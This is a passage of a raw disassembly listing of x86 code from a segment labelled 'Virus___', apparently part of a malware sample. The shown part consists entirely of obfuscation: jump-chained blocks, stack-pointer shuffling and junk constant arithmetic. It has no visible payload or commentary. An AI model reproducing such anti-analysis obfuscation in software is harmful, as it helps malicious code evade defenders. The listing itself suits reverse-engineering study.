		jmp	loc_587F5F
; ---------------------------------------------------------------------------


loc_58B0AE:				; CODE XREF: Virus___:00591CD5j
		pop	esi
		xor	ecx, [esp]
		jmp	loc_590A7B
; ---------------------------------------------------------------------------


loc_58B0B7:				; CODE XREF: Virus___:00588253j
		mov	edx, ebp
		pop	ebp
		sub	dword ptr [esp+4], 7D7472A0h
		add	[esp+4], edx
		jmp	loc_582B0D
; ---------------------------------------------------------------------------


loc_58B0CB:				; CODE XREF: Virus___:005817D5j
		xor	ebp, 9451DCFDh
		xor	edx, ebp
		pop	ebp
		and	edx, 2BBF7F78h
		push	ecx
		mov	ecx, 49064588h
		inc	ecx
		shl	ecx, 4
		shr	ecx, 7
		xor	ecx, 3BD684E2h
		jmp	loc_58B21C
; ---------------------------------------------------------------------------


loc_58B0F2:				; CODE XREF: Virus___:005841A7j
		inc	al
		add	al, 0E9h
		push	edx
		mov	dh, 90h
		add	dh, 0C3h
		sub	dh, 0FFh
		jmp	loc_5923B1
; ---------------------------------------------------------------------------


loc_58B104:				; CODE XREF: Virus___:005937CBj
		pop	ebp
		add	ebp, 4
		push	edx
		mov	edx, 36D35F73h
		push	eax
		mov	eax, 27D97F83h
		or	edx, eax
		pop	eax
		neg	edx
		push	ebx
		mov	ebx, 5C877832h
		add	ebx, 0C16DC6D7h
		and	edx, ebx
		pop	ebx
		push	esi
		jmp	loc_587228
; ---------------------------------------------------------------------------


loc_58B131:				; CODE XREF: Virus___:0059408Dj
		pop	edx
		jmp	loc_58C453
; ---------------------------------------------------------------------------


loc_58B137:				; CODE XREF: Virus___:0058FBC9j
		shr	dl, 8
		add	dl, 0CEh
		mov	cl, dl
		pop	edx
		mov	bh, cl
		push	dword ptr [esp]
		jmp	loc_58A149
; ---------------------------------------------------------------------------


loc_58B14A:				; CODE XREF: Virus___:00581FC8j
		push	ecx
		mov	ecx, 0AA206EF4h
		push	edi
		mov	edi, 31451367h
		sub	ebx, edi
		pop	edi
		sub	ebx, ecx
		add	ebx, 31451367h
		mov	ecx, [esp]
		push	eax
		jmp	loc_583E2A
; ---------------------------------------------------------------------------


loc_58B16A:				; CODE XREF: Virus___:0058D4B5j
		mov	dl, 0D1h
		dec	dl
		sub	dl, 9Ch
		shl	dl, 1
		add	dl, 99h
		add	bh, dl
		pop	edx
		push	40FAh
		mov	[esp], ecx
		jmp	loc_58CE4C
; ---------------------------------------------------------------------------


loc_58B186:				; CODE XREF: Virus___:005855AEj
		push	ebx
		push	0ADBh
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	ebx
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		add	ebx, 4
		push	ebx
		jmp	loc_5940F5
; ---------------------------------------------------------------------------


loc_58B1A7:				; CODE XREF: Virus___:0057FA5Aj
		pop	dword ptr [esp]
		pop	esp
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		add	ecx, 4
		jmp	loc_583C6D
; ---------------------------------------------------------------------------


loc_58B1BF:				; CODE XREF: Virus___:0058958Ej
		add	al, 68h
		mov	dx, [esp]
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5871A4
; ---------------------------------------------------------------------------


loc_58B1D0:				; CODE XREF: Virus___:005838BAj
		xchg	eax, [esp]
		jmp	loc_58CB0F
; ---------------------------------------------------------------------------


loc_58B1D8:				; CODE XREF: Virus___:00583F4Bj
		push	4826h
		mov	[esp], ebx
		mov	ebx, 6EDD408Ch
		or	ebx, 56CE1C3Fh
		sub	ebx, 5E8128BCh
		add	ebx, 0DFA1CC01h
		add	edx, ebx
		pop	ebx
		xchg	edx, [esp]
		mov	esp, [esp]
		push	edx
		mov	dh, 6Bh
		shr	dh, 7
		push	3E14h
		mov	[esp], eax
		mov	ah, 0D9h
		push	edx
		jmp	loc_591C2D
; ---------------------------------------------------------------------------


loc_58B216:				; CODE XREF: Virus___:0058D0E8j
		push	eax
		jmp	loc_590BE6
; ---------------------------------------------------------------------------


loc_58B21C:				; CODE XREF: Virus___:0058B0EDj
		add	edx, ecx
		jmp	loc_57FC94
; ---------------------------------------------------------------------------


loc_58B223:				; CODE XREF: Virus___:00593BD2j
		shl	ebp, 8
		jmp	loc_57F989
; ---------------------------------------------------------------------------


loc_58B22B:				; CODE XREF: Virus___:0059144Cj
		add	al, bl
		sub	al, 2Ah
		jmp	loc_5893BE
; ---------------------------------------------------------------------------


loc_58B234:				; CODE XREF: Virus___:0058A6B0j
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	61A8h
		jmp	loc_57F6C7
; ---------------------------------------------------------------------------


loc_58B256:				; CODE XREF: Virus___:0058E3D2j
		inc	esi
		xor	esi, 77762924h
		jmp	loc_58D382
; ---------------------------------------------------------------------------


loc_58B262:				; CODE XREF: Virus___:00584552j
		inc	ecx
		dec	ecx
		jmp	loc_590A03
; ---------------------------------------------------------------------------


loc_58B269:				; CODE XREF: Virus___:00582878j
		push	ebx
		jmp	loc_58D6D3
; ---------------------------------------------------------------------------


loc_58B26F:				; CODE XREF: Virus___:0058EE03j
		push	eax
		mov	eax, 1BC1343h
		and	eax, 38903CA1h
		add	eax, 59C20890h
		push	ebx
		mov	ebx, 556E1745h
		jmp	loc_589C6C
; ---------------------------------------------------------------------------


loc_58B28A:				; CODE XREF: Virus___:0058B728j
		mov	ecx, [esp]
		add	esp, 4
		shl	edi, 1
		push	ebp
		jmp	loc_58A59B
; ---------------------------------------------------------------------------


loc_58B29B:				; CODE XREF: Virus___:0058E1A1j
		or	bh, al
		pop	eax
		jmp	loc_593123
; ---------------------------------------------------------------------------


loc_58B2A3:				; CODE XREF: Virus___:0058B4C1j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_58B2B7:				; CODE XREF: Virus___:0057FD07j
		add	esp, 4
		add	ebx, edi
		jmp	loc_5824EC
; ---------------------------------------------------------------------------


loc_58B2C4:				; CODE XREF: Virus___:0058BCC1j
		add	esp, 4
		add	ebx, esi
		push	esi
		push	2BCF3037h
		jmp	loc_593987
; ---------------------------------------------------------------------------


loc_58B2D7:				; CODE XREF: Virus___:00590B3Fj
		mov	esp, [esp]
		mov	[esp], ecx
		push	5EF20725h
		mov	ecx, [esp]
		push	ebp
		jmp	loc_58E60B
; ---------------------------------------------------------------------------


loc_58B2EB:				; CODE XREF: Virus___:0058F663j
		and	dh, 95h
		push	ebx
		mov	bl, 1Dh
		add	dh, bl
		pop	ebx
		add	al, dh
		jmp	loc_58881C
; ---------------------------------------------------------------------------


loc_58B2FB:				; CODE XREF: Virus___:0058F351j
		pop	esi
		shr	esi, 8
		jmp	loc_587DA3
; ---------------------------------------------------------------------------


loc_58B304:				; CODE XREF: Virus___:00588587j
		mov	ebx, 30345063h
		jmp	loc_585636
; ---------------------------------------------------------------------------


loc_58B30E:				; CODE XREF: Virus___:00585B4Aj
		xor	esi, 36D946A9h
		push	ebp
		jmp	loc_57F633
; ---------------------------------------------------------------------------


loc_58B31A:				; CODE XREF: Virus___:0057FD95j
		pop	dword ptr [esp]
		pop	esp
		push	6485h
		mov	[esp], edi
		mov	edi, 8AB20F5h
		mov	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		sub	ecx, eax
		jmp	loc_59283B
; ---------------------------------------------------------------------------


loc_58B33D:				; CODE XREF: Virus___:00591953j
		add	esp, 4
		push	edi
		push	4
		mov	edi, [esp]
		sub	esp, 4
		jmp	loc_58DB7A
; ---------------------------------------------------------------------------


loc_58B354:				; CODE XREF: Virus___:00581D21j
		pop	esi
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		jmp	loc_5884B3
; ---------------------------------------------------------------------------


loc_58B364:				; CODE XREF: Virus___:0058849Aj
		mov	ebx, 0ACE6415h
		or	ebx, 40662A7h
		or	ebx, 1D595886h
		jmp	loc_584F71
; ---------------------------------------------------------------------------


loc_58B37A:				; CODE XREF: Virus___:0057F468j
		push	edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		add	edi, 4
		push	464Bh
		mov	[esp], eax
		mov	eax, 4
		add	edi, eax
		pop	eax
		xchg	edi, [esp]
		mov	esp, [esp]
		push	edi
		mov	edi, 75D0803h
		add	edi, 45E954FBh
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 3E34486h
		push	edi
		push	eax
		jmp	loc_584271
; ---------------------------------------------------------------------------


loc_58B3BF:				; CODE XREF: Virus___:0057F688j
		push	482Ah
		mov	[esp], eax
		mov	eax, 4
		jmp	loc_5905B6
; ---------------------------------------------------------------------------


loc_58B3D1:				; CODE XREF: Virus___:005926E4j
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_5929DC
; ---------------------------------------------------------------------------


loc_58B3DC:				; CODE XREF: Virus___:0058C0F8j
		add	esp, 4
		inc	esi
		inc	esi
		xor	esi, 5EFAB9C7h
		add	edx, esi
		jmp	loc_590B44
; ---------------------------------------------------------------------------


loc_58B3EE:				; CODE XREF: Virus___:0058973Dj
		not	ebp
		jmp	loc_585AD2
; ---------------------------------------------------------------------------


loc_58B3F5:				; CODE XREF: Virus___:0058A03Cj
		sub	ebp, ebx
		pop	ebx
		jmp	loc_593286
; ---------------------------------------------------------------------------


loc_58B3FD:				; CODE XREF: Virus___:0058499Dj
		pop	ebp
		not	ebp
		push	ecx
		mov	ecx, 1B8C4669h
		add	ebp, ecx
		pop	ecx
		jmp	loc_589677
; ---------------------------------------------------------------------------


loc_58B40E:				; CODE XREF: Virus___:0058D057j
		xor	dh, cl
		pop	ecx
		mov	ah, dh
		mov	edx, [esp]
		add	esp, 4
		xor	bh, ah
		pop	ax
		push	edi
		mov	edi, esp
		jmp	loc_58E99C
; ---------------------------------------------------------------------------


loc_58B425:				; CODE XREF: Virus___:005882A1j
		mov	edi, 43B94B81h
		push	ecx
		mov	ecx, 444C7F9Ch
		add	ecx, 0FFFFFFFFh
		inc	ecx
		jmp	loc_58E634
; ---------------------------------------------------------------------------


loc_58B439:				; CODE XREF: Virus___:00581E36j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_590C4C
; ---------------------------------------------------------------------------


loc_58B44A:				; CODE XREF: Virus___:0058C018j
		mov	edx, 78C51C82h
		add	[esp+4], edx
		pop	edx
		sub	[esp], edi
		push	edi
		mov	edi, 78C51C82h
		sub	[esp+4], edi
		pop	edi
		jmp	loc_5920E9
; ---------------------------------------------------------------------------


loc_58B467:				; CODE XREF: Virus___:0058B5B1j
		add	esp, 4
		add	esi, 4
		jmp	loc_58B69A
; ---------------------------------------------------------------------------


loc_58B472:				; CODE XREF: Virus___:00589127j
		mov	ebx, 6CD10D0Bh
		jmp	loc_592002
; ---------------------------------------------------------------------------


loc_58B47C:				; CODE XREF: Virus___:0058A6EEj
		mov	edx, 6344426Ah
		shl	edx, 3
		jmp	loc_588831
; ---------------------------------------------------------------------------


loc_58B489:				; CODE XREF: Virus___:0058F1D7j
		sub	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		jmp	loc_588C6E
; ---------------------------------------------------------------------------


loc_58B49E:				; CODE XREF: Virus___:005937B6j
		xor	esi, eax
		pop	eax
		mov	ebx, esi
		pop	esi
		inc	ebx
		dec	ebx
		neg	ebx
		push	esi
		mov	esi, 0D941201h
		add	ebx, esi
		jmp	loc_590035
; ---------------------------------------------------------------------------


loc_58B4B5:				; CODE XREF: Virus___:005943F8j
		add	dword ptr [esp+4], 27B76143h
		mov	ebx, [esp]
		push	ebx
		jmp	loc_58B2A3
; ---------------------------------------------------------------------------


loc_58B4C6:				; CODE XREF: Virus___:005879CEj
		mov	ebp, 33561409h
		inc	ebp
		not	ebp
		shl	ebp, 6
		sub	ebp, 128674B2h
		push	1B89h
		mov	[esp], ebx
		mov	ebx, 2F4040F3h
		dec	ebx
		inc	ebx
		shr	ebx, 7
		push	edx
		mov	edx, 76EB2331h
		not	edx
		push	edx
		push	esi
		pop	edx
		pop	esi
		not	esi
		xchg	esi, edx
		shl	edx, 2
		xor	edx, ebp
		xor	ebp, edx
		jmp	loc_58731B
; ---------------------------------------------------------------------------


loc_58B505:				; CODE XREF: Virus___:00585E40j
		mov	bl, 0F3h
		or	bl, 62h
		shr	bl, 1
		or	bl, 61h
		shr	bl, 6
		add	bl, 0CBh
		mov	dl, bl
		pop	ebx
		xor	dl, bh
		mov	ebx, [esp]
		jmp	loc_584775
; ---------------------------------------------------------------------------


loc_58B522:				; CODE XREF: Virus___:0058092Cj
		xchg	edi, [esp]
		pop	esp
		push	ecx
		mov	cl, 0
		shr	cl, 2
		sub	cl, 0E9h
		jmp	loc_580E40
; ---------------------------------------------------------------------------


loc_58B534:				; CODE XREF: Virus___:0058C898j
		not	eax
		xchg	eax, edi
		jmp	loc_584CEA
; ---------------------------------------------------------------------------


loc_58B53C:				; CODE XREF: Virus___:0058EFCFj
		add	ebx, ecx
		sub	ebx, 4FBF2063h
		jmp	loc_584A49
; ---------------------------------------------------------------------------
		push	edx
		push	esp
		jmp	loc_57FFF1
; ---------------------------------------------------------------------------


loc_58B550:				; CODE XREF: Virus___:00586419j
		or	esi, edi
		mov	edi, [esp]
		add	esp, 4
		add	esi, 9227444h
		add	esi, 0AEF43BD0h
		add	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		push	4A51h
		mov	[esp], eax
		jmp	loc_57F9C4
; ---------------------------------------------------------------------------


loc_58B57F:				; CODE XREF: Virus___:0058913Cj
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5863C2
; ---------------------------------------------------------------------------


loc_58B58D:				; CODE XREF: Virus___:0058CB68j
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_58B592:				; CODE XREF: Virus___:00580317j
		mov	edi, 8D31BCEh
		sub	ebx, edi
		pop	edi
		mov	edi, [esp]
		add	esp, 4
		add	ebx, 4
		jmp	loc_592CDA
; ---------------------------------------------------------------------------


loc_58B5AB:				; CODE XREF: Virus___:00592736j
		add	esp, 4
		mov	ecx, [esp]
		jmp	loc_58B467
; ---------------------------------------------------------------------------


loc_58B5B6:				; CODE XREF: Virus___:0058AF57j
		add	esp, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		push	dword ptr [edi+eax*4]
		mov	eax, [esp]
		push	711Ch
		mov	[esp], ecx
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	ecx
		push	eax
		push	edx
		jmp	loc_589B13
; ---------------------------------------------------------------------------


loc_58B5E9:				; CODE XREF: Virus___:00584EBCj
		mov	[esp], ebp
		push	esi
		pop	ebp
		mov	edx, ebp
		pop	ebp
		jmp	loc_588CC7
; ---------------------------------------------------------------------------


loc_58B5F6:				; CODE XREF: Virus___:005826F9j
		sub	esi, ecx
		pop	ecx
		push	esi
		xor	dword ptr [esp], 4F2C0767h
		pop	edx
		xor	edx, 4F2C0767h
		mov	esi, [esp]
		add	esp, 4
		add	edx, edi
		add	[edx], ecx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_57FA74
; ---------------------------------------------------------------------------


loc_58B620:				; CODE XREF: Virus___:0058F490j
		push	30FD7521h
		pop	edx
		push	0
		jmp	loc_593D5A
; ---------------------------------------------------------------------------


loc_58B630:				; CODE XREF: Virus___:0058F51Ej
		mov	[esp], esi
		mov	esi, 34FD04A1h
		inc	esi
		jmp	loc_587740
; ---------------------------------------------------------------------------


loc_58B63E:				; CODE XREF: Virus___:00582712j
		sub	ch, 0DEh
		sub	ch, 6Ch
		pop	eax
		inc	ch
		shl	ch, 4
		push	6B1Bh
		mov	[esp], edx
		mov	dl, 0Dh
		push	ax
		mov	al, 58h
		xor	dl, al
		pop	ax
		or	dl, 0EBh
		shl	dl, 2
		dec	dl
		and	dl, 7Ah
		push	bx
		mov	bl, 60h
		add	dl, bl
		mov	bx, [esp]
		add	esp, 2
		and	ch, dl
		mov	edx, [esp]
		push	ebx
		push	esp
		jmp	loc_582455
; ---------------------------------------------------------------------------


loc_58B683:				; CODE XREF: Virus___:005841FAj
		pop	edi
		jmp	loc_58E91D
; ---------------------------------------------------------------------------


loc_58B689:				; CODE XREF: Virus___:0059126Aj
		pop	edi
		sub	esp, 4
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_58EA97
; ---------------------------------------------------------------------------


loc_58B69A:				; CODE XREF: Virus___:0058B46Dj
		xor	esi, [esp]
		jmp	loc_58F90F
; ---------------------------------------------------------------------------


loc_58B6A2:				; CODE XREF: Virus___:00592E3Bj
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_58B793
; ---------------------------------------------------------------------------


loc_58B6B0:				; CODE XREF: Virus___:005944D0j
		add	esi, ebp
		sub	esi, 2E833AF6h
		pop	ebp
		jmp	loc_58329C
; ---------------------------------------------------------------------------


loc_58B6BE:				; CODE XREF: Virus___:0058A6A0j
		mov	esi, edi
		pop	edi
		jmp	loc_58CFA4
; ---------------------------------------------------------------------------


loc_58B6C6:				; CODE XREF: Virus___:005881C0j
		sub	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		xchg	edi, [esp]
		push	edi
		xchg	esi, [esp]
		not	esi
		xchg	esi, [esp]
		pop	edi
		push	5FEDh
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		xchg	eax, edi
		push	3100h
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], edx
		push	ecx
		mov	ecx, 2CB51541h
		mov	edx, ecx
		pop	ecx
		jmp	loc_58E1CB
; ---------------------------------------------------------------------------


loc_58B718:				; CODE XREF: Virus___:0058469Fj
		pop	edi
		push	100h
		mov	[esp], edi
		jmp	loc_589C00
; ---------------------------------------------------------------------------


loc_58B726:				; CODE XREF: Virus___:0058F990j
		xor	edi, ecx
		jmp	loc_58B28A
; ---------------------------------------------------------------------------


loc_58B72D:				; CODE XREF: Virus___:0058B79Fj
		xor	dx, [esp]
		jmp	loc_589307
; ---------------------------------------------------------------------------


loc_58B736:				; CODE XREF: Virus___:005863ADj
		pop	edi
		jmp	loc_58C6E3
; ---------------------------------------------------------------------------


loc_58B73C:				; CODE XREF: Virus___:00582313j
		add	edi, esi
		sub	edi, 4CD03D7Ah
		pop	esi
		pop	esi
		jmp	loc_587688
; ---------------------------------------------------------------------------


loc_58B74B:				; CODE XREF: Virus___:00593AB6j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 26CB494Bh
		xor	ebx, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 0C633428h
		sub	esi, 1
		dec	esi
		sub	esi, 1
		xor	esi, 0BBC2A56Ah
		sub	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		push	156Ah
		mov	[esp], ebx
		xor	dword ptr [esp], 21530D40h
		jmp	loc_58E7DF
; ---------------------------------------------------------------------------


loc_58B793:				; CODE XREF: Virus___:0058B6ABj
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ax
		xor	[esp], dx
		jmp	loc_58B72D
; ---------------------------------------------------------------------------


loc_58B7A4:				; CODE XREF: Virus___:0058987Cj
		pop	esp
		mov	[esp], edi
		mov	edi, 6A7F143Ch
		shr	edi, 7
		xor	edi, 525F73D1h
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5850A0
; ---------------------------------------------------------------------------


loc_58B7C4:				; CODE XREF: Virus___:00592913j
		push	esp
		jmp	loc_58AFA3
; ---------------------------------------------------------------------------


loc_58B7CA:				; CODE XREF: Virus___:00582CB8j
		add	ecx, 4
		push	edx
		mov	edx, 2
		push	edi
		mov	edi, 48653DD1h
		sub	ecx, edi
		pop	edi
		add	ecx, edx
		jmp	loc_582C2C
; ---------------------------------------------------------------------------


loc_58B7E6:				; CODE XREF: Virus___:00593D2Cj
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_592894
; ---------------------------------------------------------------------------


loc_58B7FD:				; CODE XREF: Virus___:00593A64j
		dec	ebx
		not	ebx
		neg	ebx
		jmp	loc_58D872
; ---------------------------------------------------------------------------


loc_58B807:				; CODE XREF: Virus___:00587747j
		mov	ebx, 0EE4295D6h
		sub	esi, 77C10355h
		add	esi, ebx
		add	esi, 77C10355h
		pop	ebx
		sub	ebx, 78E10CCFh
		sub	ebx, esi
		jmp	loc_58A802
; ---------------------------------------------------------------------------


loc_58B828:				; CODE XREF: Virus___:005849C9j
		pop	ecx
		sub	eax, ebx
		jmp	loc_58D8B2
; ---------------------------------------------------------------------------


loc_58B830:				; CODE XREF: Virus___:0058BE5Dj
		pop	ecx
		sub	edi, eax
		jmp	loc_586B01
; ---------------------------------------------------------------------------


loc_58B838:				; CODE XREF: Virus___:0058FAB8j
		add	edi, eax
		pop	eax
		jmp	loc_58B95B
; ---------------------------------------------------------------------------


loc_58B840:				; CODE XREF: Virus___:0058787Fj
		xor	ebx, [esp]
		jmp	loc_5876A4
; ---------------------------------------------------------------------------
		pop	small word ptr [edx]
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_58B850:				; CODE XREF: Virus___:00589FEEj
		add	esp, 4
		push	ecx
		push	dword ptr [esp+4]
		jmp	loc_58927D
; ---------------------------------------------------------------------------


loc_58B860:				; CODE XREF: Virus___:0058F4C7j
		push	2E1Ch
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		or	edx, eax
		jmp	loc_57F52D
; ---------------------------------------------------------------------------


loc_58B878:				; CODE XREF: Virus___:0058C114j
		sub	bh, 0ECh
		add	bh, 0B9h
		sub	bh, 0A5h
		dec	bh
		shr	bh, 1
		jmp	loc_592D1F
; ---------------------------------------------------------------------------


loc_58B88A:				; CODE XREF: Virus___:00581A91j
		add	edx, eax
		jmp	loc_58490E
; ---------------------------------------------------------------------------


loc_58B891:				; CODE XREF: Virus___:0058D9C1j
		push	5CA93E8Eh
		pop	ebp
		jmp	loc_58E766
; ---------------------------------------------------------------------------


loc_58B89C:				; CODE XREF: Virus___:0058F8DBj
		mov	ebx, [esp]
		push	ebp
		jmp	loc_582251
; ---------------------------------------------------------------------------


loc_58B8A5:				; CODE XREF: Virus___:0058793Cj
		add	eax, ebp
		pop	ebp
		xchg	eax, [esp]
		jmp	loc_58221A
; ---------------------------------------------------------------------------


loc_58B8B0:				; CODE XREF: Virus___:005834B6j
		mov	[esp], ebx
		jmp	loc_581853
; ---------------------------------------------------------------------------


loc_58B8B8:				; CODE XREF: Virus___:0058CA56j
		pop	ebx
		jmp	loc_5805A2
; ---------------------------------------------------------------------------


loc_58B8BE:				; CODE XREF: Virus___:00589C32j
		mov	eax, edi
		jmp	loc_5842B9
; ---------------------------------------------------------------------------


loc_58B8C5:				; CODE XREF: Virus___:0058E0F1j
		pop	dword ptr [esp]
		jmp	loc_591B68
; ---------------------------------------------------------------------------


loc_58B8CD:				; CODE XREF: Virus___:00588C38j
		push	eax
		push	ebx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_58AB9D
; ---------------------------------------------------------------------------


loc_58B8DA:				; CODE XREF: Virus___:00590A8Cj
		mov	ebp, esi
		push	dword ptr [esp]
		jmp	loc_58C023
; ---------------------------------------------------------------------------


loc_58B8E4:				; CODE XREF: Virus___:00582570j
		add	esp, 4
		push	ecx
		mov	cl, 0C2h
		xchg	bh, cl
		not	bh
		inc	bh
		xchg	bh, cl
		xor	cl, 6Eh
		jmp	near ptr unk_581F1B
; ---------------------------------------------------------------------------


loc_58B8FD:				; CODE XREF: Virus___:005825F2j
		add	esp, 4
		mov	esi, [esp]
		add	esp, 4
		push	edi
		push	1A897F78h
		jmp	loc_5836AF
; ---------------------------------------------------------------------------
		lodsd
		push	ecx
		mov	ecx, 0EA66C5Dh
		push	ecx
		not	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	esi
		push	edx
		mov	edx, 77887460h
		mov	esi, 2E924426h
		xchg	edi, esi
		not	edi
		jmp	loc_589971
; ---------------------------------------------------------------------------


loc_58B937:				; CODE XREF: Virus___:0058C06Ej
		add	ebx, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		xchg	ebx, [esp]
		jmp	loc_580F00
; ---------------------------------------------------------------------------


loc_58B94B:				; CODE XREF: Virus___:0058F053j
		mov	[esp], eax
		mov	eax, 308C79BEh
		shl	eax, 5
		jmp	loc_593BD7
; ---------------------------------------------------------------------------


loc_58B95B:				; CODE XREF: Virus___:0058B83Bj
		push	esi
		push	5A166A34h
		pop	esi
		inc	esi
		or	esi, 7B317901h
		xor	esi, 0F30CC7FAh
		push	eax
		jmp	loc_585D3C
; ---------------------------------------------------------------------------


loc_58B975:				; CODE XREF: Virus___:0058FD78j
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_588A4A
; ---------------------------------------------------------------------------


loc_58B97E:				; CODE XREF: Virus___:00586CE6j
		mov	esi, 4
		add	ecx, esi
		mov	esi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	ecx, 2
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		jmp	loc_593481
; ---------------------------------------------------------------------------


loc_58B9B0:				; CODE XREF: Virus___:0058D3C5j
		add	esp, 4
		add	ebp, 0BE8FF75Dh
		jmp	loc_58497E
; ---------------------------------------------------------------------------


loc_58B9C1:				; CODE XREF: Virus___:00588817j
		add	eax, edx
		sub	eax, 7A2B4D52h
		pop	edx
		mov	edx, [esp]
		add	esp, 4
		add	eax, esi
		push	0D81h
		mov	[esp], ecx
		mov	ecx, 1C164074h
		jmp	loc_580A9A
; ---------------------------------------------------------------------------


loc_58B9E6:				; CODE XREF: Virus___:0058AA57j
		mov	edx, 2CF43F4h
		sub	eax, edx
		jmp	loc_586D40
; ---------------------------------------------------------------------------


loc_58B9F2:				; CODE XREF: Virus___:0058C4B9j
		xor	ecx, 1E375067h
		add	esi, ecx
		jmp	loc_58A43F
; ---------------------------------------------------------------------------


loc_58B9FF:				; CODE XREF: Virus___:0058EBF2j
		mov	edi, 4
		mov	ebx, edi
		pop	edi
		sub	eax, ebx
		jmp	loc_5853C2
; ---------------------------------------------------------------------------


loc_58BA0E:				; CODE XREF: Virus___:0057FEBBj
		neg	ecx
		jmp	loc_589239
; ---------------------------------------------------------------------------


loc_58BA15:				; CODE XREF: Virus___:0058FA8Bj
		pop	edx
		jmp	loc_58F68B
; ---------------------------------------------------------------------------


loc_58BA1B:				; CODE XREF: Virus___:00587ECBj
		sub	al, 0E7h
		sub	al, 0C9h
		sub	al, 3Bh
		sub	esp, 4
		mov	[esp], ecx
		mov	cl, 0D5h
		jmp	loc_590097
; ---------------------------------------------------------------------------


loc_58BA31:				; CODE XREF: Virus___:005930DAj
		push	edx
		mov	dl, al
		mov	bh, dl
		pop	edx
		jmp	loc_59455D
; ---------------------------------------------------------------------------


loc_58BA3C:				; CODE XREF: Virus___:0058A4E9j
		push	ebx
		push	59EEh
		mov	[esp], ecx
		mov	ecx, 6FAE3143h
		add	dword ptr [esp+4], 4A8C7C1Ah
		push	edi
		jmp	loc_584D9D
; ---------------------------------------------------------------------------


loc_58BA58:				; CODE XREF: Virus___:0058CB53j
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_593B92
; ---------------------------------------------------------------------------


loc_58BA62:				; CODE XREF: Virus___:00584768j
		add	eax, ebp
		jmp	loc_589FB7
; ---------------------------------------------------------------------------


loc_58BA69:				; CODE XREF: Virus___:005909C1j
		sub	edx, 68234938h
		add	edi, edx
		pop	edx
		pop	ecx
		push	286Bh
		mov	[esp], edi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_58E76C
; ---------------------------------------------------------------------------


loc_58BA87:				; CODE XREF: Virus___:005909F6j
		xor	esi, [esp]
		pop	esp


loc_58BA8B:				; CODE XREF: Virus___:0058089Fj
		push	40Ah
		mov	[esp], edi
		push	eax
		push	edi
		push	eax
		jmp	loc_58AF72
; ---------------------------------------------------------------------------


loc_58BA9B:				; CODE XREF: Virus___:00580666j
		push	ecx
		mov	ecx, 2
		push	ebx
		mov	ebx, 6E7D2A4Bh
		or	ebx, 158A537Ch
		not	ebx
		sub	ebx, 1F576EB1h
		add	esi, 10DC425Ah
		sub	esi, ebx
		push	5002h
		mov	[esp], ebx
		mov	ebx, 10DC425Ah
		sub	esi, ebx
		jmp	loc_5839EB
; ---------------------------------------------------------------------------


loc_58BAD1:				; CODE XREF: Virus___:0058EECAj
		xor	ebx, [esp]
		jmp	loc_588D00
; ---------------------------------------------------------------------------


loc_58BAD9:				; CODE XREF: Virus___:005911C6j
		mov	eax, 68675CAEh
		jmp	loc_580027
; ---------------------------------------------------------------------------


loc_58BAE3:				; CODE XREF: Virus___:00591ECFj
		mov	edi, 62D8663Ah
		add	esi, edi
		mov	edi, [esp]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		jmp	loc_58FC01
; ---------------------------------------------------------------------------


loc_58BAFE:				; CODE XREF: Virus___:0058EA31j
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], esi
		push	edi
		mov	edi, 52A36545h
		mov	esi, edi
		jmp	loc_592436
; ---------------------------------------------------------------------------


loc_58BB14:				; CODE XREF: Virus___:00592CF5j
		jmp	loc_57F37C
